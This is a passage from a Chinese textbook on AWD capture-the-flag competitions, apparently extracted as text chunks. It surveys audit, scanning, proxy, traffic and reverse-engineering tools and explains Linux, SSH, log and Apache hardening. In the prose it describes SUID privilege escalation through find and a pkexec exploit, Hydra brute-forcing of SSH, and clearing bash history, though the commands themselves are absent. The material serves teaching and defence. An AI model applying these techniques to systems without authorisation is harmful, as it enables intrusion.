代码审计是对应用程序源代码进行系统性检查的过程，其目的是审查并修复应用程序中存在的安全问题，进而避免该安全漏洞被非法利用，给公司和个人带来不必要的安全风险。代码审计需要确保代码对信息和资源进行足够的保护，所以对于代码审计人员来说，熟悉应用程序的业务流程是非常重要的。在AWD竞赛过程中，为了考查参赛选手的漏洞挖掘及修复能力，通常会设计代码审计的题型。一款好用的代码审计工具能够帮助参赛选手快速定位有问题的程序字段，大大提高漏洞挖掘及修复的效率。 常见的代码审计工具有很多，如CodeScan、RIPS、Seay、Fortify SCA、VCG等。读者在选择代码审计工具时，可以根据不同的应用场景选择自己适合的审计工具。本节将介绍3款比较常用的代码审计工具：Seay、Fortify SCA、VCG。 2 . 3 . 1 S e a y Seay是基于C#语言开发的一款非常实用的半自动化代码安全审计系统，目前该工具只支持PHP语言的审计功能。通过Seay工具的自动审计功能，使用者可以快速发现代码程序中的危险函数。另外，Seay还支持一键审计：代码调试、函数定位、插件扩展、自定义规则配置、代码高亮、编码调试转换、数据库执行监控等功能。 图2-15所示为Seay代码审计工具示意图，通过左侧的文件结构可以查看Web源码的各级目录情况，右侧自动审计后显示漏洞描述、文件路径和漏洞详细。使用者如果想查看详细的代码内容，也可以通过双击漏洞描述跳转到相关函数的代码位置。 图2-15 Seay代码审计工具 2 . 3 . 2 其 他 代 码 审 计 工 具 代码审计工具通常用来辅助审计人员快速定位网站源码中潜在的安全风险，能够节省大量的人工和时间成本。由于上节介绍的Seay代码审计工具功能单一，只能用来审计PHP类型的编程语言，本节将给大家介绍另外两款商用的综合型代码审计工具—Fortify SCA和VCG。 （ 1 ） F o r t i f y S C A Fortify SCA是业界普遍认可的一款静态代码检查工具，目前只支持商业版。Fortify SCA代码审计工具内置了分析引擎、安全编码规则包、审查工作台、规则自定义编辑器和向导、IDE插件5部分，支持混合语言的分析，包括ASP、.NET、C/C++、C#、Java、JSP等，同时Fortify SCA也支持自定义软件安全代码规则编写，使用者可根据官方指导手册自行扩展规则库。图2-16所示为Fortify SCA代码审计工具示意图。 图2-16 Fortify SCA代码审计工具 （ 2 ） V C G VCG（Visual Code Grepper）是基于VB开发的一款应用于Windows系统环境的白盒审计工具。VCG支持多种语言的代码审计功能，如C/C++、Java、C#、VB、PL/SQL、PHP等。VCG根据自身的字典对目标源码进行自动化扫描，同时也支持用户自定义需求的扫描数据，可以对源代码中所有可能存在风险的函数和文本做一个快速的定位，通过正则匹配的方式检查代码是否存在安全问题。其扫描原理较为简单，识别速度较快，同时有很好的扩展性。图2-17所示为VCG代码审计工具示意图。 图2-17 VCG代码审计工具"},
    {"text": "2.4 漏洞扫描工具 2 . 4 漏 洞 扫 描 工 具 漏洞扫描是以漏洞数据库为基础，对指定的远程或者本地计算机系统进行安全脆弱性的扫描检测，用以发现目标系统可利用漏洞的一种安全检测（渗透攻击）行为。 传统的漏洞扫描工具可以分为两种类型：主机漏洞扫描工具和网络漏洞扫描工具。 主机漏洞扫描工具用于在系统本地运行检测系统漏洞程序，常见的主机漏洞扫描器包括COPS、Tripewire、Tiger等。 网络漏洞扫描工具用于对企业网络架构系统或者网站进行扫描，常见的网络漏洞扫描器包括AWVS、Xray、Nessus、OpenVAS等。 在AWD竞赛过程中，当不能快速发现目标服务存在的安全漏洞时，通常可以使用漏洞扫描工具进行协助定位。"},
    {"text": "2 . 4 . 1 X r a y Xray是由长亭科技公司开发的一款网络安全评估工具，该工具支持网络代理扫描、基础服务扫描和网络爬虫三种工作模式，具有主机指纹识别、We b指纹识别、主机漏洞探测和Web漏洞探测等多种功能，同时也支持自定义扩展的POC编写，具备检测速度快、误报率较低等特点。"},
    {"text": "网络爬虫（Web Crawler）是按照一定规则自动爬取目标系统获取所需信息的方式，搜索引擎也是网络爬虫的一种，但是搜索引擎并不影响网站的正常运行，也没有恶意行为。 而一些恶意的网络爬虫通常会在短时间内快速访问以致消耗网络资源，使网站的正常运转出现问题，导致服务器崩溃等。 漏洞扫描工具通常都具备网络爬虫功能，从初始网页中寻找URL链接，记录该URL后，继续在该链接上查找其他URL放入队列，如此往复，直至能够根据需求遍历网站的整个访问。 在渗透测试过程中，使用网络爬虫的方式可发现目标系统泄露的敏感目录、敏感文件、未授权访问的服务及管理后台路径等。"},
    {"text": "利用Xray爬取网络信息的命令如下，执行结果如图2-18所示。 图2-18 Xray爬取网络信息 在安全测试过程中，通常都会用到Xray的网络代理扫描模式。"},
    {"text": "（ 1 ） X r a y 和 F i r e f o x 联 合 使 用 在Firefox中安装SwitchyOmega代理插件，单击SwitchyOmega插件工具的“选项”按钮进入代理工具选项配置界面，新建一个情景模式，命名为xray，填写代理协议为HTTP，代理服务器为本地IP地址127.0.0.1，代理端口为7777，单击“应用选项”保存SwitchyOmega插件的选项配置，如图2-19所示。"},
    {"text": "进入Xray工具的安装目录，按住键盘的Shift键，在空白处右击，进入cmd命令窗口，在此处执行以下Xray命令进行被动扫描，其中，websan参数指进行Web漏洞扫描，listen参数后的地址为浏览器设置的代理服务器IP地址和端口，html-output参数指以html格式保存扫描结果，执行结果如图2-20所示。"},
    {"text": "（ 2 ） X r a y 和 A W V S 联 合 使 用 AWVS（Acunetix Web Vulnerability Scanner）是一款知名的Web漏洞扫描工具，利用Xray和AWVS联合扫描的方式可弥补单一扫描器自身的不足，增强漏洞扫描结果的准确性。"},
    {"text": "▲图2-19 配置浏览器SwitchyOmega插件工具 图2-20 Firefox联合Xray被动扫描 进入Xray工具的安装目录，按住键盘Shift键，在空白处右击，进入cmd命令窗口，在此处执行以下Xray命令进行被动扫描： 启动AWVS，添加目标扫描任务，在设置界面配置网络代理，协议类型为HTTP协议，地址为127.0.0.1，端口为7777，单击Save按钮，开启AWVS扫描任务，如图2-21所示。 之后就启动了Xray和AWVS联合扫描任务，此时可以看到Xray界面会显示扫描信息，等扫描任务结束后，可对比Xray和AWVS的扫描结果，并手工对漏洞进行复现与验证，如图2-22所示。 ▲图2-21 AWVS扫描工具配置网络代理 图2-22 Xray与AWVS联合扫描 2 . 4 . 2 其 他 漏 洞 扫 描 工 具 漏洞扫描工具可协助检测应用程序、操作系统、硬件和网络系统等存在的安全问题，是IT部门必不可少的工具之一。 除了上节介绍的Xray扫描工具以外，还有几款常用的漏洞扫描工具。"},
    {"text": "（ 1 ） N e s s u s Nessus是全世界使用人数最多的一款系统漏洞扫描与分析软件，其控制面板如图2-23所示。 目前有7万多家机构使用Nessus作为扫描操作系统漏洞、运行程序及软件错误配置问题、恶意软件和广告软件删除等的安全工具。 Nessus采用客户/服务器体系结构，客户端提供了运行在Windows下的图形界面，接受用户的命令与服务器通信，传送用户的扫描请求给服务器端，由服务器启动扫描并将扫描结果呈现给用户。 Nessus还具备强大的报告输出能力，可以产生HTML、XML、LaTeX和ASCII文本等格式的安全报告，并能为每个安全问题提出建议。 Nessus是一款商业工具，用户可以到官方网站注册申请7天试用版本。"},
    {"text": "AWVS可对遵循HTTP和HTTPS规则的Web站点和Web应用程序进行探测，具有网络爬虫、端口扫描、子域名挖掘、指纹识别、HTTP嗅探以及Web安全漏洞扫描等功能，可应用于中小型Web站点安全检查。"},
    {"text": "2.5 流量采集工具 2 . 5 流 量 采 集 工 具 流量采集就是通过辅助工具获取所需要的网络中的通信流量，通常情况下有两个目的：一个是拦截网络中的流量，对流量内容进行修改，然后通过数据包重放进行安全测试； 另一个是用来采集网络中的流量，分析流量中的内容，如使用的协议类型、源目的地址、是否存在恶意攻击行为等。 常见的流量采集工具包括BurpSuite、TCPDump、Wireshark等。 在AWD竞赛中，流量采集工具也发挥了重要作用，参赛选手可以使用BurpSuite工具拦截请求数据包，尝试对数据包内容进行修改，检测目标主机存在的安全问题，也可以使用TCPDump工具采集维护主机的访问流量，发现潜在的、未及时修复的安全问题。"},
    {"text": "2 . 5 . 1 B u r p S u i t e BurpSuite是基于Java语言开发的一款集成化渗透测试工具，使用该工具可以辅助我们高效地完成Web应用程序的渗透测试和攻击。 BurpSuite工具包含非常多的功能模块：网络代理模块、入侵模块、重复请求模块、编/解码模块、漏洞扫描模块等。 BurpSuite工具因其功能强大深受网络安全人员的喜爱。 目前BurpSuite有专业版和社区版两个版本，专业版需要在购买官方许可证后才能正常使用。 接下来介绍BurpSuite常用的几个功能模块。 （ 1 ） 网 络 代 理 模 块 网络代理模块（Proxy）是利用BurpSuite的核心功能，通过浏览器或其他测试工具设置网络代理。 BurpSuite将HTTP/HTTPS网络流量转发到网络代理模块，对流量内容进行拦截、解析、查看、修改等一系列操作。"},
    {"text": "如图2-26所示，网络代理模块主要由Intercept选项中的Forward、Drop、Intercept is on/off和Action构成。 图2-26 网络代理模块介绍 ●Forward：转发数据包，表示将拦截的数据包或者修改后的数据包转发至目标服务器。"},
    {"text": "●Action：其他功能组件，使用该组件可以将拦截的数据包发送到Spider、Scanner、Repeater、Intruder等功能组件做进一步测试，同时也包含改变数据包的请求方式、Body的编码方式、复制或拦截Response包等功能。"},
    {"text": "（ 2 ） 入 侵 模 块 入侵模块（Intruder）是一个高度可配置的强大功能模块，主要用于对Web应用程序进行自定义攻击，通过修改请求参数作为变量，加载设置好的攻击载荷（Payload）不断进行替换，在每一次发起请求中，该模块通常会携带一个或多个有效供给载荷，通过将应答数据包进行对比分析获得需要的特征数据内容，如We b管理平台登录口令暴力破解、登录用户名枚举攻击、SQL注入攻击、模糊测试等。"},
    {"text": "图2-27 暴力破解功能介绍 ●Sniper：单组Payload请求，单组替换，对设定的每个变量位置逐一进行变量替换，未被执行变量保持原始数据不变，发起请求的总数量为Position数量与Payload数量的乘积。"},
    {"text": "●Battering ram：单组Payload请求，同步替换，对设定的每个变量位置采用相同的Payload同时进行替换，发起请求的总数量等于Payload的数量。 ●Pitchfork：多组Payload请求，同步替换，对设定的每个变量位置同步使用每个变量位置对应的Payload组进行替换，发起请求的总数量为最小Payload组中的Payload数量。 ●Cluster bomb：多组Payload请求，迭代替换，对设定的每个变量位置迭代每个Payload组，每个Payload组合都会被测试一遍，发起请求的总数量为各Payload组的Payload数量的乘积。"},
    {"text": "如图2-28所示，根据攻击类型设定Payload数量，单击Load item from file可以选择外部密码字典，单击Start attack按钮便可以对目标系统发起一次暴力破解攻击。"},
    {"text": "图2-28 Payload加载功能介绍 （ 3 ） 重 复 请 求 模 块 重复请求模块（Repeater）是一个可手动修改、能够重复单独重放当前数据包，并能够实时分析目标系统响应内容的模块。"},
    {"text": "例如：修改请求参数验证是否存在SQL注入漏洞，修改请求参数验证是否存在逻辑越权漏洞，从拦截的历史记录中捕获特征的请求消息并进行请求重放攻击等。"},
    {"text": "图2-29 重复请求功能介绍 （ 4 ） 编 / 解 码 模 块 编/解码模块（Decoder）能够对原始数据进行各种编码格式及散列转换，目前支持URL、HTML、Base64、ASCII、十六进制、八进制、二进制和GZIP八种编码格式的转换，散列支持SHA、SHA-224、SHA-256、MD2、MD5等多种格式的转换。"},
    {"text": "图2-30 编/解码功能介绍 2 . 5 . 2 T C P D u m p 在AWD竞赛过程中，如发现维护的服务器被其他队伍攻击扣分，但不清楚服务器存在的安全问题以及其他队伍漏洞利用方式，此时可以尝试在Linux系统上进行流量监控。"},
    {"text": "最常用的流量监控工具是TCPDump，通过该工具可对其他队伍的攻击流量存储记录，然后通过Wireshark流量分析工具对保存的流量包进行攻击和溯源分析，并根据分析结果进行防御和安全加固，编写自动化攻击脚本工具。 TCPDump是一款运行在命令行下的网络流量分析工具。"},
    {"text": "利用TCPDump工具可以拦截和显示网络连接到该计算机的网络流量数据，支持针对网络层、协议、主机、网络或端口等多类型的过滤方式，并且能够提供AND、OR等逻辑语句，协助过滤掉无用的流量信息等，帮助网络工作人员提高工作效率。"},
    {"text": "在AWD竞赛过程中，在具备相应工具环境的条件下，参赛选手可利用TCPDump工具对其他队伍的攻击流量进行分析，根据分析结果进行防御和安全加固。"},
    {"text": "表2-2 TCPDump流量分析工具参数 （ 1 ） 端 口 过 滤 在了解服务运行的具体端口情况下，为减少冗余信息，保留更多的有效信息，可以选择对具体的端口进行过滤，命令如下，执行结果如图2-31所示。 图2-31 TCPDump端口过滤 （ 2 ） 主 机 过 滤 如果要获取多个源IP地址的数据流量包，可以选择使用偏移地址的方式进行设置，例如ip[16]表示IP地址的第一个数值，ip[17]表示第二个数值，以此类推，可获取多个连续IP的交互流量数据包，命令如下，执行结果如图2-32所示。 图2-32 TCPDump源IP地址过滤 （ 3 ） 协 议 过 滤 如果需要获得某个网络协议的流量，可以在命令行中加入该协议名称，如ICMP、ARP、HTTP等，之后可以获取通过该协议与主机交互的流量数据。"},
    {"text": "2.6 逆向分析工具 2 . 6 逆 向 分 析 工 具 PWN在黑客俚语中代表攻破、获取权限的意思。在CTF比赛中，PWN类型题目多以程序溢出为主，包括整数溢出、栈溢出、堆溢出等。在程序漏洞分析过程中，一款好用的逆向分析工具可以起到事半功倍的作用。业界常用的逆向分析工具包括IDA、Pwndbg、Cutter等，其中Pwndbg在动态调试程序漏洞时非常好用。 2 . 6 . 1 I D A IDA（Interactive Disassembler）作为业界最有名的反编译工具，被众多网络安全爱好者所喜爱，当前最新版为IDA 8.2。其中Pro和Home版本是收费版本，费用较为昂贵，读者也可以下载Free版本试用。这里以IDA Free版本为例做初步的介绍。在赛程时间较短的CTF比赛中，我们最常用的一个IDA功能就是汇编转代码功能，它可以帮我们节省不少时间。 在安装完IDA工具后，可以将要分析的二进制文件直接拖入IDA软件中。如图2-34所示，单击OK按钮IDA工具会自动对二进制文件进行分析。 图2-34 IDA工具分析二进制文件 当IDA工具分析完二进制文件后，会自动停在main()函数的入口处，如图2-35所示，左侧为程序所用的函数，右侧是IDA分析后的汇编代码。 图2-35 IDA二进制程序分析结果 如果使用者感觉图表的汇编代码阅读起来不方便，还可以按下空格键，切换成传统的汇编阅读方式，如图2-36所示。 图2-36 IDA切换成传统汇编阅读方式 对于新手直接分析汇编代码非常困难，既浪费时间又分析不准确。这里推荐使用IDA汇编转代码功能，快捷键为F5，又称为F5功能。只要按下F5快捷键，便可以将晦涩难懂的汇编语言转换成我们熟悉的C语言代码，如图2-37所示。在C语言的环境中，比如需要知道hardmode的内容，双击即可查看代码详情，按Esc键便可以返回原始main()函数入口界面。 图2-37 IDA汇编代码转C语言代码 除了强大的反汇编功能，IDA还拥有Patch功能（修补程序）。首先选中需要修改的汇编代码，然后在IDA菜单栏中选择Edit→Patch program→Assemble，便可以在弹出的窗口中修改汇编指令。如图2-38所示，修改程序mov eax，5为mov eax，0x5，接着单击OK按钮即可。 图2-38 IDA修改汇编指令 修补程序后，继续单击Edit→Patch program→Apply patches to input file，在弹出窗口中勾选Create backup复选框，如图2-39所示，单击OK按钮即可保存程序。 图2-39 保存修改后的二进制文件 IDA功能强大，此处只是粗略地介绍了一些IDA最核心的功能。如果想要详细了解IDA，读者可自行搜索学习。 2 . 6 . 2 P w n d b g 和 P w n g d b Pwndbg和Pwngdb的名字很像，是两个重要的PWN调试工具，但Pwndbg是基础工具，Pwngdb是辅助工具，这两个工具都需要安装。 Pwndbg是Linux系统下gdb的常见辅助工具集合，可以提供直观的内存相关信息、栈空间排布信息、寄存器的值等，是进行堆分析的利器。它的安装方法较简单，在Ubuntu系统中输入如下命令即可实现自动安装。 安装完成后，我们还需要安装一个非常实用的插件—Pwngdb，这个插件可以补充Pwndbg中缺失的堆分析的部分命令，如parseheap、lib等。这些命令在堆分析中提供了非常直观的数据方法。Pwngdb的安装命令如下： 这两个工具的基本命令和调试命令如表2-3和表2-4所示。 表2-3 基本命令 表2-4 调试命令 读者在了解这些命令后，可以自己尝试调试一个程序。假设需要被调试的程序为aa，那么在终端命令行输入如下命令即可： 我们可以输入lib、parseheap、bins等命令来查看堆的申请状态。命令调试如图2-40所示，图中展示了堆结构信息。 图2-40 Pwndbg所展示的堆结构信息 除此之外，调试程序还存在一个问题：若程序开启了PIE动态地址，即没有准确的断点地址，怎么办呢？此时我们就需要确定程序每次加载的段基地址。段基地址使用Pwntools工具设置断点较为方便，代码如下： 第3章 主机安全加固 第 3 章 主 机 安 全 加 固 AWD竞赛主要考查参赛选手快速挖掘和修复安全漏洞的能力。在竞赛时，参赛选手要能够对目标靶机中存在的安全问题进行快速定位并修复加固，以避免被其他队伍攻击。本章将对竞赛过程涉及的系统加固、中间件加固、数据库加固及日志安全配置等进行详细介绍。为方便读者深入理解，本章针对系统的不安全配置可能造成的安全事件进行了详细的分析，参赛选手可根据本章介绍的内容在实验环境中反复验证，熟练掌握系统加固的基础知识。"},
    {"text": "UID由一个32位无符号型的整数表示，用于唯一标识系统中的用户，如root用户的UID为0。 GID也由一个32位无符号型的整数表示，用于定义该用户所在的组。"},
    {"text": "图3-1 用户信息的各字段含义 查询当前Linux系统新增的用户名，可以通过查询passwd文件中新增的用户名，也可以通过awk指令查询UID=0和UID≥500的用户名，执行如下命令，结果如图3-2所示。 图3-2 awk指令查询用户名 UID为0的用户拥有系统的最高权限，通过判断UID是否为0可排查系统中是否存在特权用户，执行如下命令，结果如图3-3所示。 图3-3 awk指令查询特权用户 在passwd文件中，用户密码是被保护的状态，即使用×来隐藏，实际的密码内容加密后保存在/etc/shadow目录中，shadow文件只有root权限用户才可以查看，如果该文件中密码对应字段长度为0，则表明该用户密码为空。"},
    {"text": "图3-4 awk指令查询密码为空的用户 可利用模拟攻击的方式，检测系统用户中存在的弱口令，最常用的检查工具是Hydra（别名：九头蛇）。"},
    {"text": "使用Hydra工具检查SSH服务弱口令的命令如下，结果如图3-5所示。 图3-5 使用Hydra工具检查SSH服务弱口令 针对系统中存在用户及权限设置等安全问题，可以采取禁用特权用户、删除多余用户、更改用户登录口令等加固措施。 （ 1 ） 禁 用 特 权 用 户 可通过禁用不安全的特权用户或其他普通用户的方式进行权限设置，此时就不能通过该用户进行远程SSH登录了，使用禁用指令时需要具备root权限。"},
    {"text": "禁用和解禁特权用户的命令如下，结果如图3-6所示。 图3-6 禁用和解禁特权用户 （ 2 ） 删 除 多 余 用 户 可通过删除多余用户的方式，在一定程度上减少不安全用户带来的安全问题。 添加和删除多余用户的命令如下，结果如图3-7所示。"},
    {"text": "图3-7 添加删除多余用户 （ 3 ） 更 改 用 户 登 录 口 令 当发现空口令或弱口令等安全问题时，可更改用户的登录口令，使用第三方密码生成工具keepass、pwgen等生成满足复杂度要求的口令。"},
    {"text": "图3-8 更改用户登录口令 3 . 1 . 2 远 程 连 接 安 全 配 置 传统的远程传输协议（如FTP、Telnet）在本质上都是不安全的，传输内容是明文，容易遭受“中间人”攻击。"},
    {"text": "SSH传输的数据是加密的，可以有效地防止远程连接会话时出现信息泄密。 在数据传输的时候，SSH会先对联机的数据包通过加密技术进行加密处理，然后再进行数据的传输，确保了传输过程中的安全性，可以有效防范“中间人”攻击。"},
    {"text": "查询系统SSH协议开启的端口号，默认端口为22，此时可通过修改sshd_config配置文件的Port参数指定需要设定的SSH服务端口，并重启SSH服务使其生效。 修改SSH默认端口号的命令如下，结果如图3-9所示。 图3-9 修改SSH默认端口号 通过Nmap等端口探测工具，利用目标端口返回的指纹信息进行快速比对，可快速探测目标服务开启的SSH服务的端口号。"},
    {"text": "图3-10 Nmap端口探测结果 为隐藏SSH服务类型，避免被端口探测工具指纹识别，可以通过修改sshd_config配置文件，增加DebianBanner no一行，可以隐藏SSH携带系统的版本信息，利用sed-i命令行可以清除SSH指纹携带的版本信息，命令如下。"},
    {"text": "图3-11 SSH隐藏指纹后Nmap的扫描结果 查询当前Linux系统的SSH协议是否允许特权用户登录，可以通过查询SSH服务的sshd_config配置文件PermitRootLogin参数，yes为允许特权用户登录，no为不允许特权用户登录。"},
    {"text": "图3-12 允许特权用户登录 通过修改SSH服务的sshd_config配置文件PermitRootLogin为no，然后重启SSH服务，则可以禁止特权用户远程登录，结果如图3-13所示。 图3-13 拒绝特权用户远程登录 SSH服务默认是没有对远程登录来源进行有效限制的，有可能造成SSH弱口令枚举攻击等，此时可以通过修改Linux系统的hosts.allow和hosts.deny两个文件，对访问来源进行有效的访问控制。 在hosts.deny文件中添加sshd:ALL，可阻止所有远程主机访问； 在hosts.allow文件中增加允许远程主机访问的IP地址列表，如sshd:172.16.213.12，这样就只允许IP地址为172.16.213.12的主机使用SSH协议进行远程连接。"},
    {"text": "图3-14 拒绝远程主机访问 为防止SSH服务弱口令枚举攻击，可以通过修改/etc/pam.d/目录下的login和sshd文件，增加SSH服务非法登录次数限制，例如：当用户错误输入口令3次以上时，会暂时锁定当前用户1min。"},
    {"text": "图3-17 修改sshd文件内容 修改完login和sshd文件后，当远程系统通过SSH服务连接该主机时，如果第一次输入口令错误，即便再次输入正确口令也不能够正常登录系统，系统会将该用户锁定30s后再进行登录。"},
    {"text": "如果操作人员缺乏安全意识，进行不安全的配置后，很有可能会导致系统权限问题，其中最为典型的权限问题就是SUID提升权限，给予用户一个临时所有者的权限来运行一个程序或文件。"},
    {"text": "有时我们会发现有些文件或者目录的属主权限会带s标识，当s标识出现在文件所有者的x权限上时，如/usr/bin/passwd目录文件的权限状态为-rwsr-xr-x，此时就被称为Set UID，简称SUID权限。"},
    {"text": "常见导致SUID提权的可执行程序包括Nmap、vim、find、bash、more、less、nano、pkexec等，当查询这些可执行程序具有SUID权限时，可进一步排查是否存在权限提升安全问题，并对存在安全的程序进行修复和加固。"},
    {"text": "接下来，利用如下find命令查询Linux系统中具有SUID权限的文件，结果如图3-19所示。 图3-19 查询具备SUID权限的文件 可以看到，find和pkexec具有SUID权限，接下来测试find和pkexec可行性程序是否能够提权成功，通过如下find指令使普通用户获得root权限执行系统指令，结果如图3-20所示。 图3-20 通过find指令进行SUID提权 Polkit的pkexec（pkexec不高于0.120版本时）存在提权的安全问题，该漏洞允许任何非特权用户通过在Linux默认配置中利用此漏洞获得root权限。 通过exp文件进行操作使普通用户获得root权限执行系统指令，执行结果如图3-21所示。 图3-21 通过pkexec指令进行SUID提权 在具有SUID权限的可执行程序中，如果存在权限提升安全威胁，可通过修改可执行程序权限或更新软件进行打补丁的方式修复SUID权限文件导致的安全问题。 修改suid可执行文件权限的命令如下，结果如图3-22所示。 图3-22 修改suid可执行文件权限 3 . 1 . 4 L i n u x 系 统 不 安 全 服 务 排 查 系统服务是在后台运行的应用程序，可用来提供本地系统或网络功能，我们把这些应用程序称作服务，例如，Apache是用来实现Web的服务等。"},
    {"text": "表3-1 文件共享服务端口 表3-2 远程连接服务端口 表3-3 Web应用服务端口 表3-4 数据库服务端口 表3-5 邮件服务端口 表3-6 网络常见协议端口 表3-7 特殊服务端口 通过如下chkconfig命令可查询系统服务的运行级信息，结果如图3-23所示。 图3-23 通过chkconfig命令查询系统服务 通过如下systemctl命令可查询系统服务的运行情况，结果如图3-24所示。 图3-24 通过systemctl命令查询系统服务 针对不安全服务，在系统不使用的情况下，可以选择关闭服务，降低不安全服务带来的安全风险。 通过systemctl和service关闭服务的命令如下，操作过程如图3-25和图3-26所示。 ▲图3-25 通过systemctl关闭启动服务 图3-26 通过service关闭启动服务 3 . 1 . 5 敏 感 数 据 排 查 与 防 护 在渗透测试过程中，最为重要的一环就是搜集目标资产或者系统的敏感信息，攻击者往往会利用搜集到的有用信息进行汇总、分析，再进一步扩展攻击范围，直至获取到任务目标为止。"},
    {"text": "同样，在网络安全竞赛过程中搜集flag信息也是竞赛考查的重点，例如，flag位置在安装服务的配置文件中、系统的隐藏文件中、历史命令中等。"},
    {"text": "通过如下find命令可查询系统中任何用户都有写权限的文件夹，结果如图3-27所示。 图3-27 find命令查询有写权限的文件夹 通过如下find命令可查询系统中任何用户都有写权限的文件，结果如图3-28所示。 图3-28 find命令查询有写权限的文件 通过如下find命令可查询系统隐藏文件，结果如图3-29所示。 图3-29 find命令查询系统隐藏文件 执行history命令可查询Linux系统的bash命令历史记录，执行history-c命令，可清除bash命令历史记录，结果如图3-30所示。 图3-30 查询bash命令历史记录 为保证系统的敏感数据安全，可以通过修改系统的$HISTSIZE临时修改系统允许记录的历史命令行数，但当系统重启后，会恢复系统的默认值，不能长久记录。 可以通过修改/etc/profile目录文件的方式，实现长久变更允许记录的历史命令行数，只需修改profile文件中的HISTSIZE值为3。"},
    {"text": "3.2 Linux系统日志安全配置 3 . 2 L i n u x 系 统 日 志 安 全 配 置 Linux系统拥有非常灵活和强大的日志记录功能，会将系统内核信息、应用程序产生的各种报错信息、警告信息以及其他的提示信息写入对应的系统日志中。"},
    {"text": "Linux发行版默认的日志守护进程为syslog，位于/etc/syslog、/etc/syslogd或/etc/rsyslog.d目录下，可以根据日志的类别和优先级将日志保存到不同的文件中。 通过更改配置文件syslog.conf或rsyslog.conf可对内核消息及各种系统程序消息的日志存储位置、生成的日志级别以及规定开放的端口号等进行更改。"},
    {"text": "不同类型的Linux系统对各日志存放路径及文件名不尽相同，对于Ubuntu和CentOS系统默认将生成的日志保存在/var/log目录下。 除了系统日志外，RPM包安装的系统服务也会默认把日志记录放在/var/log/目录下，但这些并不由rsyslogd服务管理，而由各个服务自身的日志管理文档来记录。"},
    {"text": "wtmp日志文件用于记录每个用户登录、注销及系统的启动、停机事件，可以利用它来查看用户登录系统记录的信息，执行如下命令，结果如图3-32所示。 表3-8 系统默认日志及其功能 图3-32 查看wtmp日志内容 btmp日志文件用于记录远程登录系统失败的信息，记录了SSH协议远程登录系统的用户名、协议类型、登录时间、IP地址等信息，执行如下命令，结果如图3-33所示。"},
    {"text": "图3-33 查看btmp日志内容 dmesg日志文件用于记录与系统启动相关的内核缓冲信息，它显示系统启动时与硬件有关的信息，执行如下命令，结果如图3-34所示。 图3-34 查看dmesg日志内容 cron日志文件用于记录计划任务产生的事件信息，记录了定时任务执行的开始时间、结束时间、定时执行周期、执行的用户权限等。"},
    {"text": "图3-35 查看cron日志内容 secure日志或auth日志通常用于记录用户认证相关的安全事件信息，在RedHat和CentOS系统记录用户认证相关的信息通常存储在/var/log/secure目录日志中，而Ubuntu和Debian系统记录用户认证相关的信息通常存储在/var/log/auth.log目录日志中。"},
    {"text": "随着日志文件不断增多，如果不进行日志维护，系统硬盘就会存满，甚至宕机。 日志维护的最主要工作是把旧的日志文件删除，对新生成的日志及时备份存储。 在Linux系统中，默认安装logrotate程序进行日志轮替（也叫日志转储），logrotate是一个日志文件管理工具，用于分割日志文件，创建一个新的空日志文件来记录新日志，当旧日志文件超出保存的范围时就删除，起到“转储”作用。 logrotate程序的配置可以通过修改Linux系统的logrotate.conf文件进行配置。 logrotate是基于cron定时任务运行的，logrotate.conf和logrotate.d都存储着logrotate的配置文件，logrotate.d目录里的所有文件被包含到logrotate.conf文件中执行。 如logrotate.d的文件中没有进行定义和配置，则会以logrotate.conf文件作为配置参数执行。"},
    {"text": "图3-37所示为定时任务实现日志轮询存储。 图3-37 定时任务实现日志轮询存储 通过修改logrotate.conf配置文件相关参数，可以对日志轮询存储方式进行修改和配置。"},
    {"text": "默认情况下，logrotate切割的日志是按递增的数字进行命名的，如xxx.log-1。 在配置文件中增加dateext参数，可以使切割后的日志文件以当前日期为结尾，如xxx.log-20131216。"},
    {"text": "根据备份日志的存储位置不同，可以分为本地日志备份和异地日志备份。 本地日志备份就是将Linux系统的日志存储在系统的本地，通过cron定时任务的方式，实现日志的周期备份。 如下所示为执行本地日志备份操作的bash脚本文件，存放在var/backup目录下，命名为backup.sh，以90天为周期存储系统日志，保存的备份日志以“backup_+日期”方式进行命名，并将生成的日志存储在var/backup目录下。 增加日志的定时任务，在crontab文件中设置为每天的19时59分执行一次backup.sh程序进行日志备份。"},
    {"text": "异地日志备份就是将日志备份到远程服务端进行存储，本地客户端通常使用syslog的方式将产生的日志文推送到远程服务端进行存储。 异地日志备份的方式可以有效地减少由于本地主机发生故障导致日志丢失的问题。"},
    {"text": "在rsyslog.conf配置文件中增加配置日志存储位置及命名方式，命令如下，设置日志存储在/var/log/backup/目录下，采用“年-月-日”命名方式进行存储。 图3-42 远程日志接收端rsyslog.conf配置 在修改完rsyslog.conf配置文件后，通过如下systemctl命令重启rsyslog服务，如图3-43所示，使之前的配置生效。 图3-43 重启rsyslog服务 本地日志发送端通过修改etc/rsyslog.d目录下的50-default.conf配置文件，如图3-44所示，将需要发送的日志以“*.* @日志接收端IP：端口”的格式进行配置，命令如下，将auth.log日志发送到远程日志存储服务器。 图3-44 本地日志发送端 在修改完配置文件后，通过如下systemctl命令重启rsyslog服务，使之前的配置生效，通过SSH协议登录本地系统触发auth.log日志，可以看到本地的auth.log日志同步到了远程日志接收端，且日志以当前日期为文件名进行保存，如图3-45所示。 图3-45 本地日志同步到远程的日志存储系统进行备份"},
    {"text": "在浏览网站的整个通信过程中，我们经常会听到“中间件”这个词，那什么是中间件呢？ 中间件又在其中发挥什么作用呢？ 中间件（Middleware）是处于操作系统和应用程序之间的软件，能够屏蔽操作系统和网络协议的差异，为应用程序提供多种通信机制，以满足不同领域的需要。"},
    {"text": "当用户从Web界面向服务器提交了数据请求或应用请求时，功能层负责将这些请求分类为数据请求或应用请求，向数据库发出数据交换申请。 数据库对请求的数据进行筛选处理之后，再将所需的数据通过功能层传递回到客户端。"},
    {"text": "3 . 3 . 1 A p a c h e 中 间 件 安 全 加 固 Apache HTTP Server（简称Apache）是一个开放源代码的网页服务器软件，可以在多种类型的操作系统中运行，由于其跨平台和安全性被广泛使用，是最流行的We b服务器软件之一。"},
    {"text": "通过访问目标网站，查看是否存在目录遍历安全问题，攻击者可利用该漏洞，下载及查看目标网站敏感数据、了解网站目录结构等，如图3-46a所示。"},
    {"text": "对于使用Apache中间件的网站，Ubuntu和Debian系统可以通过修改/etc/apache2目录下的apache2.conf配置文件，将Options Indexes FollowSymLinks修改为Options FollowSymLinks；"},
